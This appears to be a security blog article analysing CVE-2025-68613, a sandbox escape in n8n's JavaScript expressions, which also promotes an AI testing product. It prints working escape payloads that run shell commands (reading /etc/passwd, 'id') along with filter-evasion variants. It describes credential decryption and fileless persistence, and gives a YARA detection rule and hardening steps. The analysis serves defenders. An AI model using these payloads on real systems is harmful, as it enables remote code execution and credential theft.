In the closing days of 2025, the DevSecOps community was rattled by the disclosure of CVE-2025-68613, a critical vulnerability carrying the maximum CVSS score of 10.0. The target was n8n, the world’s most popular open-source workflow automation tool, which serves as the central nervous system for thousands of enterprises, orchestrating data between CRMs, databases, and cloud infrastructure.
For the elite security engineer, dismissing this as a “low-code vulnerability” is a mistake. CVE-2025-68613 is a masterclass in modern JavaScript exploitation. It demonstrates how the Node.js Dynamic Runtime, when combined with a flawed Object Capability Model and Prototype Pollution techniques, can be weaponized to turn a benign automation platform into a root-level beachhead.
This article abandons superficial reporting to perform a byte-level dissection of the sandbox escape primitives, the failure of the vm module, and how AI-driven logic analysis is changing the game for Blue Teams.
The Architecture of Failure: Why the Node.js vm Module Breaks
To understand the exploit, we must first understand the environment. n8n allows users to manipulate data using JavaScript expressions, typically wrapped in {{ }} syntax. To execute this untrusted user code, n8n (prior to version 1.122.0) relied on the native Node.js vm module.
The vm module provides APIs for compiling and running code within V8 Virtual Machine contexts. It allows for the creation of a “sandbox”—a contextified object that acts as the global scope for the executing code.
The “Security” Illusion
The premise of vm.runInNewContext(code, sandbox) is that the code inside cannot access objects outside the sandbox object.
- Theory: The sandbox is an island.
- Reality: The island is connected to the mainland by bridges (the prototype chain).
If the host application passes any object into the sandbox (e.g., exposing environment variables via process.env or utility functions via a helpers object), the isolation is compromised. In n8n’s case, the execution context included references to the workflow data, which implicitly linked back to the host environment’s object graph.
Key Technical Takeaway: The Node.js vm module is not a security mechanism. It is a scoping mechanism. As the Node.js documentation explicitly warns: “Do not use it to run untrusted code.” CVE-2025-68613 is the direct consequence of ignoring this warning.
Anatomy of the Exploit: From Prototype Chain to RCE
The exploit primitive for CVE-2025-68613 revolves around traversing the JavaScript prototype chain to escape the vm context and access the host’s Function constructor.
The “Constructor” Climbing Technique
In JavaScript, objects inherit properties from their prototypes.
this: Inside the n8n expression,thisrefers to the sandbox context object.this.constructor: This points to the function that created the context object. In mostvmimplementations, this resolves to theObjectconstructor inside the sandbox.this.constructor.constructor: Here lies the breach. Because theObjectconstructor inside the sandbox is ultimately derived from the V8 engine’s primitives, traversing its constructor often resolves to the Host Environment’sFunctionconstructor.
Once an attacker possesses the Host’s Function constructor, they effectively have an eval() equivalent that executes in the Host’s context—outside the sandbox.
The Kill Chain Code
Let’s break down the logic of a weaponized payload designed to bypass basic filters.
JavaScript
`// Step 1: Escape the Sandbox // We access the Foreign Function constructor (Host Context) const ForeignFunction = this.constructor.constructor;
// Step 2: Bridge the Gap // We use the Foreign Function to create a closure that returns the ‘process’ object. // This new function is NOT bound by the sandbox restrictions. const getProcess = ForeignFunction(‘return process’);
// Step 3: Execution // We execute the function to retrieve the global process handle. const proc = getProcess();
// Step 4: Import Capabilities // We use process.mainModule to access the internal module loader. const require = proc.mainModule.require;
// Step 5: Weaponization // We load ‘child_process’ and execute a shell command. const result = require(‘child_process’).execSync(‘cat /etc/passwd’).toString();`
In the context of an n8n workflow, this entire chain is minified and injected into a legitimate expression field, such as a “Set” node variable or an HTTP Request header value.
Advanced Evasion: Bypassing Static Analysis
When CVE-2025-68613 was first whispered in private bug bounty circles, some administrators attempted to mitigate it using WAF rules or regex filters blocking keywords like process, constructor, or require.
For a dynamic language like JavaScript, static filtering is trivial to bypass.
Technique A: String Arithmetic & Encoding
Attackers can reconstruct forbidden keywords at runtime using string concatenation or ASCII character codes.
JavaScript
`{{ // Bypassing “constructor” and “process” regex filters (() => { const c = “con” + “structor”; const p = “pro” + “cess”;
// Using array access notation instead of dot notation
const foreignFunc = this[c][c];
const proc = foreignFunc("return " + p)();
return proc.mainModule.require("child_process").execSync("id").toString();
})() }}`
Technique B: The Reflect API & Proxy Obfuscation
Advanced exploits utilize the Reflect API to inspect and invoke properties without direct naming, making Abstract Syntax Tree (AST) analysis significantly harder for traditional security tools.
JavaScript
`{{ // Using Reflect to dynamically find the constructor without naming it const keys = Reflect.ownKeys(this.proto); const consKey = keys.find(k => k.toString().charCodeAt(0) == 99); // ‘c’
const ForeignFunction = Reflect.get(this, consKey)[consKey];
// Proceed with RCE...
}}`
This demonstrates why pattern matching is fundamentally flawed against logic vulnerabilities in interpreted languages.
Post-Exploitation: n8n as the Ultimate C2 Pivot
Gaining RCE on an n8n instance is often more valuable than compromising a standard web server. n8n sits at the intersection of an organization’s most sensitive data pipes.
1. The Credential Vault
n8n stores credentials for connected services (AWS, Stripe, Salesforce, PostgreSQL) in its internal database (defaulting to SQLite located at ~/.n8n/database.sqlite). While these are encrypted, an RCE allows the attacker to:
- Read the encryption key from the environment variable (
N8N_ENCRYPTION_KEY) or theconfigfile. - Decrypt the entire credential store.
- Pivot laterally into the cloud infrastructure using valid, high-privilege keys.
2. Fileless Persistence
Traditional malware drops a binary on disk, which EDR (Endpoint Detection and Response) solutions can scan.
In n8n, an attacker can create a “Shadow Workflow”:
- Trigger: A “Cron” node set to run every 10 minutes.
- Action: A “Function” node executing malicious JavaScript (e.g., a reverse shell or data exfiltration script).
- Storage: The malware exists only as a JSON object in the n8n database. It is fileless, persistent, and blends in with legitimate business logic.
AI-Driven Logic Detection: The Penligent Advantage
Detecting CVE-2025-68613 is a nightmare for traditional DAST (Dynamic Application Security Testing) scanners.
- The Problem: Scanners rely on “blind fuzzing.” They send payloads like
' OR 1=1 --or<script>alert(1)</script>. Against an expression engine, these payloads simply cause syntax errors. The workflow fails, and the scanner reports “Clean.” - The Logic Gap: To detect this, a tool must understand JavaScript syntax and Workflow Context.
This is where Penligent.ai represents a paradigm shift. Penligent utilizes Context-Aware AI Agents that perform semantic analysis:
- Syntactic Fuzzing: Penligent’s agents recognize the
{{ }}syntax as a code injection point. Instead of random strings, the agent constructs valid JavaScript objects. - Object Capability Probing: The agent injects safe probes to test the sandbox boundaries (e.g.,
{{ this.constructor.name }}). It analyzes the output. If it sees “Object” or “Function,” it infers that the prototype chain is intact. - Obfuscation Mutation: If a probe is blocked (e.g., “Access denied”), Penligent’s AI automatically refactors the payload using the evasion techniques mentioned above (String Arithmetic, Reflect API) to verify if the block is merely superficial.
By simulating the iterative methodology of a human researcher, Penligent validates the exploitability of the logic, providing a Proof of Concept (PoC) rather than a false positive.
Blue Team Handbook: Detection & Defense
For the Blue Team, mitigating CVE-2025-68613 requires a defense-in-depth strategy that assumes the application layer might be breached.
1. Network Signatures (YARA/Snort)
While payload encryption makes network detection hard, many attackers use default payloads. Monitor for HTTP POST requests to /rest/workflows containing suspicious JavaScript patterns.
YARA Rule Example:
rule DETECT_N8N_EXPRESSION_INJECTION { meta: description = "Detects JS sandbox escape attempts in n8n (CVE-2025-68613)" severity = "Critical" strings: $token_start = "{{" $js_constructor = "constructor" $js_process = "process.mainModule" $js_child = "child_process" $js_char_code = "String.fromCharCode" $js_reflect = "Reflect.get" condition: $token_start and (2 of ($js_*)) }
2. Architectural Hardening
- Containerization: Never run n8n as root. Use rootless Docker containers with a read-only filesystem.
- Cap Drop: Run the container with
-cap-drop=ALLto prevent privilege escalation even after RCE. - Egress Filtering: Configure Kubernetes Network Policies or AWS Security Groups to block all outbound traffic from the n8n container, except to whitelisted APIs needed for workflows. This kills the reverse shell connection.
3. Environment Lockdown
Set the environment variable N8N_BLOCK_ENV_ACCESS_IN_NODE=true. This feature, introduced in later versions, attempts to block access to process.env from within nodes, mitigating credential theft even if code execution is achieved.
Conclusion: The End of Implicit Trust
CVE-2025-68613 serves as a watershed moment for the security of Low-Code platforms. It reminds us that flexibility is the enemy of security. When we grant users the power of a Turing-complete language like JavaScript to manipulate data, we are inviting them into the kernel of our application.
The future of secure automation lies not in “better regex filters” or “patched vm modules,” but in architectural isolation technologies like WebAssembly (Wasm) or V8 Isolates, which provide true memory-safe sandboxing. Until then, rigorous patching, AI-driven testing, and aggressive network segmentation remain our only defense.
